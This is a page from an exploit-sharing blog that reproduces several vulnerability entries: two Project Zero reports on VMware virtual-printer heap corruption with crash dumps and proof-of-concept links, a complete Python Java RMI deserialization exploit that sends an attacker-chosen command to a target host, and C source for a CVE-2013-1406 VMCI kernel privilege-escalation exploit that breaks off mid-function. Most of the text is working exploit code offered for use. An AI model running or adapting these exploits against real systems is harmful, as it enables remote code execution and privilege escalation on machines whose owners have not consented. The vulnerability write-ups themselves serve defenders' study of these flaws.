Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863158377

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=849

As already discussed in a number of reports in this tracker (#285, #286, #287, #288, #289, #292), VMware Workstation (current version 12.1.1 build-3770994) ships with a feature called "Virtual Printers", which enables the virtualized operating systems to access printers installed on the Host. Inside the VM, the communication takes place through a COM1 device, and the incoming data is handled by a dedicated "vprintproxy.exe" process on the Host, as launched by the "vmware-vmx.exe" service. Administrative privileges are not required to access COM1 in the guest, at least on Windows.

The vprintproxy.exe is a significant attack surface for potential VM escapes. Due to its nature, the application implements support for a variety of complex protocols and file formats, such as the printing protocol, EMFSPOOL format, and further embedded EMFs, fonts, images etc. This report addresses a bug in the handling of TrueType fonts embedded in EMFSPOOL, as implemented in the TPView.DLL library extensively used by vprintproxy.exe.

The version of the TPView.DLL file referenced in this report is 9.4.1045.1 (md5sum b6211e8b5c2883fa16231b0a6bf014f3).

TrueType fonts can be embedded in EMFSPOOL files via EMRI_ENGINE_FONT records. When such a record is encountered while processing the printing request data, some complex logic is executed to load the font into the program's internal structures. For reasons which are not fully clear to me, one of the operations is to copy the contents of the CMAP table into the NAME table in memory - or, if the latter is larger than the former, create a completely new NAME table with CMAP's data. This is generally implemented in a function located at address 0x1005C230, and the high-level logic is as follows:

--- cut ---
  CMAP = FindCmapTableHeader();
  CMAP_size = ExtractSize(CMAP);
  CMAP_body = ExtractBody(CMAP);

  NAME = FindNameTableHeader();
  if (NAME) {
    NAME_size = ExtractSize(NAME);
    NAME_body = ExtractBody(NAME);

    SetTableSize(NAME, CMAP_size);

    memset(NAME_body, 0, NAME_size);

    if (CMAP_size > NAME_size) {
      SetTableOffset(NAME, font_size);
      
      font_data = realloc(font_size + CMAP_size);
      memset(&font_data[font_size], 0, CMAP_size);
      memcpy(&font_data[font_size], CMAP_body, CMAP_size);
    } else {
      memcpy(NAME_body, CMAP_body, CMAP_size);
    }
  }
--- cut ---

As you can see, the function doesn't perform any bounds checking of the values (offsets, sizes) loaded from table headers. Some of the fields have already been verified before and are guaranteed to be valid at this point of execution, but some of them (such as CMAP_body or NAME_size) are still fully controlled. While controlling the pointer to the CMAP section data (relative to the start of the font buffer) may be useful, being able to cheat about the NAME table size enables an attacker to cause a much more dangerous memory corruption on the heap.

For example, if we set the NAME size to an enormous value (e.g. 0xAAAAAAAA), we will encounter an immediate crash in the memset() function, as shown below:

--- cut ---
(22f0.26ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Common Files\ThinPrint\TPView.dll - 
eax=01555540 ebx=00000000 ecx=215cefc0 edx=00000026 esi=215b87d4 edi=aaaaaaaa
eip=68102056 esp=2247f298 ebp=2247f2e8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
TPView!TPRenderW+0x1547f6:
68102056 660f7f4140      movdqa  xmmword ptr [ecx+40h],xmm0 ds:002b:215cf000=????????????????????????????????
--- cut ---

If the NAME table size is increased by a smaller degree, such that the memset() call doesn't hit unmapped page boundary, the code may successfully finish the call and proceed to copying the contents of the CMAP section into the small NAME memory area, which would finally result in a typical heap-based buffer overflow condition with controlled length and data.

Attached is a Proof of Concept Python script, which connects to the COM1 serial port, and sends an EMFSPOOL structure containing a font file with the NAME table length set to 0xAAAAAAAA. When launched in a guest system, it should trigger the crash shown above in the vprintproxy.exe process on the host. The script is a slightly reworked version of Kostya's original exploit.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40398.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=850

As already discussed in a number of reports in this tracker (#285, #286, #287, #288, #289, #292), VMware Workstation (current version 12.1.1 build-3770994) ships with a feature called "Virtual Printers", which enables the virtualized operating systems to access printers installed on the Host. Inside the VM, the communication takes place through a COM1 device, and the incoming data is handled by a dedicated "vprintproxy.exe" process on the Host, as launched by the "vmware-vmx.exe" service. Administrative privileges are not required to access COM1 in the guest, at least on Windows.

The vprintproxy.exe is a significant attack surface for potential VM escapes. Due to its nature, the application implements support for a variety of complex protocols and file formats, such as the printing protocol, EMFSPOOL format, and further embedded EMFs, fonts, images etc. This report addresses a multitude of bugs in the handling of JPEG2000 images embedded in a custom record 0x8000 inside EMF, as implemented in the TPView.DLL library extensively used by vprintproxy.exe.

The version of the TPView.DLL file referenced in this report is 9.4.1045.1 (md5sum b6211e8b5c2883fa16231b0a6bf014f3).

The CTPViewDoc::WriteEMF function (adddress 0x100518F0) iterates over all EMF records found in the EMFSPOOL structure sent over COM1 for printing, and performs special handling of some of them. One such record is a custom type 0x8000, expected to store a JPEG2000 image wrapped in a structure similar to that of a EMF_STRETCHDIBITS record. The handler at 0x100516A0, and more specifically a further nested function at 0x1003C000 performs complete parsing of the J2K format, opening up the potential for software vulnerabilities. An example of a bug in that code area discovered in the past is a stack-based buffer overflow in the processing of record 0xff5c (Quantization Default), reported by Kostya Kortchinsky in bug #287.

Since the source code of the JPEG2000 implementation used by VMware is not publicly available, and the file format is sufficiently complex that a manual audit sounds like a dire and very ineffective option to find bugs, I have set up a fuzzing session to automate the process. As a result, with the PageHeap option enabled in Application Verifier for vprintproxy.exe, the fuzzer has managed to trigger hundreds of crashes, in a total of 39 unique code locations. Below is a list of different instructions which generated a crash, with a brief description of the underlying reason.

+----------------------------+-----------------------------------------------+
|        Instruction         |                    Reason                     |
+----------------------------+-----------------------------------------------+
| add [eax+edx*4], edi       | Heap buffer overflow                          |
| cmp [eax+0x440], ebx       | Heap out-of-bounds read                       |
| cmp [eax+0x8], esi         | Heap out-of-bounds read                       |
| cmp [edi+0x70], ebx        | Heap out-of-bounds read                       |
| cmp [edi], edx             | Heap out-of-bounds read                       |
| cmp dword [eax+ebx*4], 0x0 | Heap out-of-bounds read                       |
| cmp dword [esi+eax*4], 0x0 | Heap out-of-bounds read                       |
| div dword [ebp-0x24]       | Division by zero                              |
| div dword [ebp-0x28]       | Division by zero                              |
| fld dword [edi]            | NULL pointer dereference                      |
| idiv ebx                   | Division by zero                              |
| idiv edi                   | Division by zero                              |
| imul ebx, [edx+eax+0x468]  | Heap out-of-bounds read                       |
| mov [eax-0x4], edx         | Heap buffer overflow                          |
| mov [ebx+edx*8], eax       | Heap buffer overflow                          |
| mov [ecx+edx], eax         | Heap buffer overflow                          |
| mov al, [esi]              | Heap out-of-bounds read                       |
| mov bx, [eax]              | NULL pointer dereference                      |
| mov eax, [ecx]             | NULL pointer dereference                      |
| mov eax, [edi+ecx+0x7c]    | Heap out-of-bounds read                       |
| mov eax, [edx+0x7c]        | Heap out-of-bounds read                       |
| movdqa [edi], xmm0         | Heap buffer overflow                          |
| movq mm0, [eax]            | NULL pointer dereference                      |
| movq mm1, [ebx]            | NULL pointer dereference                      |
| movq mm2, [edx]            | NULL pointer dereference                      |
| movzx eax, byte [ecx-0x1]  | Heap out-of-bounds read                       |
| movzx eax, byte [edx-0x1]  | Heap out-of-bounds read                       |
| movzx ebx, byte [eax+ecx]  | Heap out-of-bounds read                       |
| movzx ecx, byte [esi+0x1]  | Heap out-of-bounds read                       |
| movzx ecx, byte [esi]      | Heap out-of-bounds read                       |
| movzx edi, word [ecx]      | NULL pointer dereference                      |
| movzx esi, word [edx]      | NULL pointer dereference                      |
| push dword [ebp-0x8]       | Stack overflow (deep / infinite recursion)    |
| push ebp                   | Stack overflow (deep / infinite recursion)    |
| push ebx                   | Stack overflow (deep / infinite recursion)    |
| push ecx                   | Stack overflow (deep / infinite recursion)    |
| push edi                   | Stack overflow (deep / infinite recursion)    |
| push esi                   | Stack overflow (deep / infinite recursion)    |
| rep movsd                  | Heap buffer overflow, Heap out-of-bounds read |
+----------------------------+-----------------------------------------------+

Considering the volume of the crashes, I don't have the resources to investigate the root cause of each of them, and potentially deduplicate the list even further. My gut feeling is that the entirety of the crashes may represent 10 or more different bugs in the code.

Attached is a Python script which can be used to test each particular JPEG2000 sample: it is responsible for wrapping it in the corresponding EMF + EMFSPOOL structures and sending to the COM1 serial port on the guest system. It is a reworked version of Kostya's original exploit from bug #287. In the same ZIP archive, you can also find up to three samples per each crash site listed above.

It was empirically confirmed that some of the heap corruptions can be leveraged to achieve arbitrary code execution, as when the Page Heap mechanism was disabled, the process would occasionally crash at invalid EIP or a CALL instruction referencing invalid memory addresses (vtables).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40399.zip
            
#!/usr/bin/env python


import socket
import sys
import ssl


def getHeader():
	return '\x4a\x52\x4d\x49\x00\x02\x4b'

def payload():
	cmd = sys.argv[4]
	cmdlen = len(cmd)
	data2 = '\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x00\x00\x00\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x05\x70\x77\x6e\x65\x64\x73\x7d\x00\x00\x00\x01\x00\x0f\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x52\x65\x6d\x6f\x74\x65\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x70\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7e\x00\x00\x73\x71\x00\x7e\x00\x05\x73\x7d\x00\x00\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d\x61\x70\x70\x78\x71\x00\x7e\x00\x02\x73\x71\x00\x7e\x00\x05\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x70\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x24\x73\x71\x00\x7e\x00\x1c\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x21\x73\x71\x00\x7e\x00\x1c\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74'
	data2 += '\x00' + chr(cmdlen)
	data2 += cmd
	data2 += '\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x01\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x17\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x70\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7e\x00\x09\x3f\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7e\x00\x3f\x78\x71\x00\x7e\x00\x3f'
	return data2

def sslMode():
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
	return ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1, ciphers="ALL")

def exploitTarget(sock):
	server_address = (sys.argv[1], int(sys.argv[2]))
	print 'connecting to %s port %s' % server_address
	sock.connect(server_address)
	print 'sending exploit headers\n'
	sock.send(getHeader())
	sock.recv(8192)
	print 'sending exploit\n'
	sock.send(payload())
	sock.close()
	print 'exploit completed.'

if __name__ == "__main__":
	if len(sys.argv) != 5:
		print 'Usage: python ' + sys.argv[0] + ' host port ssl cmd'
		print 'ie: python ' + sys.argv[0] + ' 192.168.1.100 1099 false "ping -c 4 yahoo.com"'
		sys.exit(0)
	else:
		sock = None
		if sys.argv[3] == "true" or sys.argv[3] == "TRUE" or sys.argv[3] == True:
			sock = sslMode()
		if sys.argv[3] == "false" or sys.argv[3] == "FALSE" or sys.argv[3] == False:
			sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
		exploitTarget(sock)
            
/*
    CVE-2013-1406 exploitation PoC
    by Artem Shishkin,
    Positive Research,
    Positive Technologies,
    02-2013
*/

void __stdcall FireShell(DWORD dwSomeParam)
{
    EscalatePrivileges(hProcessToElevate);
    // Equate the stack and quit the cycle
#ifndef _AMD64_
    __asm
    {
        pop ebx
        pop edi
        push 0xFFFFFFF8
        push 0xA010043
    }
#endif
}


HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
{
    HANDLE            hResult = 0;
    DWORD            dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
        {
            hResult = pHandleTable->Handles[i].HandleValue;
            break;
        }
    }

    return hResult;
}

PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    PVOID    pResult = 0;
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return 0;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pResult = (HANDLE)pHandleTable->Handles[i].Object;
            break;
        }
    }

    return pResult;
}

void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
{
    DWORD    dwLookupProcessID = dwProcessID;

    if (pHandleTable == NULL)
    {
        printf("Ain't funny\n");
        return;
    }

    if (dwLookupProcessID == 0)
    {
        dwLookupProcessID = GetCurrentProcessId();
    }

    for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
        {
            pHandleTable->Handles[i].Object = NULL;
            pHandleTable->Handles[i].HandleValue = NULL;
            break;
        }
    }

    return;
}

void PoolSpray()
{
    // Init used native API function
    lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("Such a fail...\n");
        return;
    }
    
    // Determine object size
    // xp: 
    //const DWORD_PTR dwSemaphoreSize = 0x38;
    // 7:
    //const DWORD_PTR dwSemaphoreSize = 0x48;

    DWORD_PTR dwSemaphoreSize = 0;

    if (LOBYTE(GetVersion()) == 5)
    {
        dwSemaphoreSize = 0x38;
    }
    else if (LOBYTE(GetVersion()) == 6)
    {
        dwSemaphoreSize = 0x48;
    }

    unsigned int cycleCount = 0;
    while (cycleCount < 50000)
    {
        HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
        if (hTemp == NULL)
        {
            break;
        }

        ++cycleCount;
    }

    printf("\t[+] Spawned lots of semaphores\n");

    printf("\t[.] Initing pool windows\n");
    Sleep(2000);

    DWORD dwNeeded = 4096;
    NTSTATUS status = 0xFFFFFFFF;
    PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);

    while (true)
    {
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
        if (status != STATUS_SUCCESS)
        {
            dwNeeded *= 2;
            VirtualFree(pBuf, 0, MEM_RELEASE);
            pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
        }
        else
        {
            break;
        }
    };

    HANDLE hHandlesToClose[0x30] = {0};
    DWORD dwCurPID = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;

    for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
    {
        if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
        {
            DWORD_PTR    dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
            DWORD_PTR    dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
            DWORD_PTR    dwWindowAddress = 0;
            bool        bPoolWindowFound = false;

            UINT iObjectsNeeded = 0;
            // Needed window size is vmci packet pool chunk size (0x218) divided by
            // Semaphore pool chunk size (dwSemaphoreSize)
            iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
        
            if (
                    // Not on a page boundary
                    ((dwTestObjAddr & 0xFFF) != 0) 
                    && 
                    // Doesn't cross page boundary
                    (((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000)) 
                )
            {
                // Check previous object for being our semaphore
                DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
                if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
                {
                    continue;
                }

                for (unsigned int j = 1; j < iObjectsNeeded; j++)
                {
                    DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
                    HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr);

                    //printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);
                    //printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);
                    //printf("\tLooked up handle = %08X\n", hLookedUp);

                    if (hLookedUp != NULL)
                    {
                        hHandlesToClose[j] = hLookedUp;

                        if (j == iObjectsNeeded - 1)
                        {
                            // Now test the following object
                            dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize);
                            if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL)
                            {
                                hHandlesToClose[0] = (HANDLE)dwTestHandleVal;
                                bPoolWindowFound = true;

                                dwWindowAddress = dwTestObjAddr;

                                // Close handles to create a memory window
                                for (int k = 0; k < iObjectsNeeded; k++)
                                {
                                    if (hHandlesToClose[k] != NULL)
                                    {
                                        CloseHandle(hHandlesToClose[k]);
                                        CloseTableHandle(pHandleTable, hHandlesToClose[k]);
                                    }
                                }
                            }
                            else
                            {
                                memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                                break;
                            }
                        }
                    }
                    else
                    {
                        memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
                        break;
                    }
                }

                if (bPoolWindowFound)
                {
                    printf("\t[+] Window found at %08X!\n", dwWindowAddress);
                }

            }
        }
    }

    VirtualFree(pBuf, 0, MEM_RELEASE);

    return;
}

void InitFakeBuf(PVOID pBuf, DWORD dwSize)
{
    if (pBuf != NULL)
    {
        RtlFillMemory(pBuf, dwSize, 0x11);
    }

    return;
}

void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep)
{
    /*
        Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043
        So, for every 0xXXXX0043 address we must suffice the following conditions:

        lea        edx, [eax+38h]
        lock    xadd [edx], ecx
        cmp        ecx, 1

        Some sort of lock at [addr + 38] must be equal to 1. And

        call    dword ptr [eax+0ACh]

        The call site is located at [addr + 0xAC]

        Also fake the object to be dereferenced at [addr + 0x100]
    */

    if (pBuf != NULL)
    {
        for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep)
        {
            PDWORD pLock = (PDWORD)(iAddr + 0x38);
            PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC);
            PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100);

            *pLock = 1;
            *pCallMeMayBe = (DWORD_PTR)FireShell;
            *pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000;
        }
    }

    return;
}

void PenetrateVMCI()
{
    /*

        VMware Security Advisory
        Advisory ID:    VMSA-2013-0002
        Synopsis:    VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability
        Issue date:    2013-02-07
        Updated on:    2013-02-07 (initial advisory)
        CVE numbers:    CVE-2013-1406

    */

    DWORD dwPidToElevate = 0;
    HANDLE hSuspThread = NULL;

    bool bXP = (LOBYTE(GetVersion()) == 5);
    bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1));
    bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2));

    if (!InitKernelFuncs())
    {
        printf("[-] Like I don't know where the shellcode functions are\n");
        return;
    }

    if (bXP)
    {
        printf("[?] Who do we want to elevate?\n");
        scanf_s("%d", &dwPidToElevate);

        hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);
        if (hProcessToElevate == NULL)
        {
            printf("[-] This process doesn't want to be elevated\n");
            return;
        }
    }

    if (b7 || b8)
    {
        // We are unable to change an active process token on-the-fly,
        // so we create a custom shell suspended (Ionescu hack)
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};

        si.wShowWindow = TRUE;

